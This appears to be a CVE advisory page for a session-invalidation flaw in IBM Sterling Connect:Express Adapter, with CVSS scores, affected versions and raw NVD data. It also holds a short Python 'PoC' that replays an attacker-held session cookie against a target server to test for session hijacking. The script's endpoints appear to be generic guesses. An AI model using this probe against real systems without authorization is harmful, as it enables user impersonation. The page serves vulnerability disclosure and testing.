Security Vulnerability Report
中文
CVE-2025-36115 CVSS 6.3 MEDIUM

CVE-2025-36115

Published: 2026-01-20 16:16:04
Last Modified: 2026-02-03 21:56:34

Description

IBM Sterling Connect:Express Adapter for Sterling B2B Integrator 5.2.0.00 through 5.2.0.12 does not disallow the session id after use which could allow an authenticated user to impersonate another user on the system.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:ibm:sterling_connect\:express_adapter_for_sterling_b2b_integrator:*:*:*:*:*:*:*:* - VULNERABLE
IBM Sterling Connect:Express Adapter 5.2.0.00
IBM Sterling Connect:Express Adapter 5.2.0.01
IBM Sterling Connect:Express Adapter 5.2.0.02
IBM Sterling Connect:Express Adapter 5.2.0.03
IBM Sterling Connect:Express Adapter 5.2.0.04
IBM Sterling Connect:Express Adapter 5.2.0.05
IBM Sterling Connect:Express Adapter 5.2.0.06
IBM Sterling Connect:Express Adapter 5.2.0.07
IBM Sterling Connect:Express Adapter 5.2.0.08
IBM Sterling Connect:Express Adapter 5.2.0.09
IBM Sterling Connect:Express Adapter 5.2.0.10
IBM Sterling Connect:Express Adapter 5.2.0.11
IBM Sterling Connect:Express Adapter 5.2.0.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36115 PoC - Session Hijacking # Target: IBM Sterling Connect:Express Adapter # Affected Versions: 5.2.0.00 - 5.2.0.12 import requests import sys TARGET_URL = "https://target-ibm-server:8443" SESSION_ENDPOINT = "/SterlingConnectExpress/session" ATTACKER_SESSION = "attacker_obtained_session_id" def check_session_invalidation(): """ Check if session ID remains valid after use """ headers = { "Cookie": f"JSESSIONID={ATTACKER_SESSION}", "Content-Type": "application/json" } # Step 1: Verify session is active response1 = requests.get( f"{TARGET_URL}{SESSION_ENDPOINT}/status", headers=headers, verify=False, timeout=30 ) if response1.status_code == 200: print("[+] Session is active - vulnerability may be present") # Step 2: Simulate legitimate user operations requests.post( f"{TARGET_URL}{SESSION_ENDPOINT}/invalidate", headers=headers, verify=False ) # Step 3: Check if session is still accessible response2 = requests.get( f"{TARGET_URL}{SESSION_ENDPOINT}/status", headers=headers, verify=False ) if response2.status_code == 200: print("[!] VULNERABLE: Session not invalidated after use") print("[!] Attacker can hijack this session") return True else: print("[-] Session properly invalidated - not vulnerable") return False return False if __name__ == "__main__": print("CVE-2025-36115 Session Hijacking Test") print("=" * 50) check_session_invalidation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36115", "sourceIdentifier": "[email protected]", "published": "2026-01-20T16:16:03.703", "lastModified": "2026-02-03T21:56:33.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Sterling Connect:Express Adapter for Sterling B2B Integrator 5.2.0.00 through 5.2.0.12 does not disallow the session id after use which could allow an authenticated user to impersonate another user on the system."}, {"lang": "es", "value": "IBM Sterling Connect:Express Adapter para Sterling B2B Integrator 5.2.0.00 hasta 5.2.0.12 no invalida el ID de sesión después de su uso, lo que podría permitir a un usuario autenticado suplantar la identidad de otro usuario en el sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-384"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_connect\\:express_adapter_for_sterling_b2b_integrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2.0.00", "versionEndExcluding": "5.2.0.13", "matchCriteriaId": "9FAC986A-388C-48CB-9717-817B108C98F7"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7257244", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}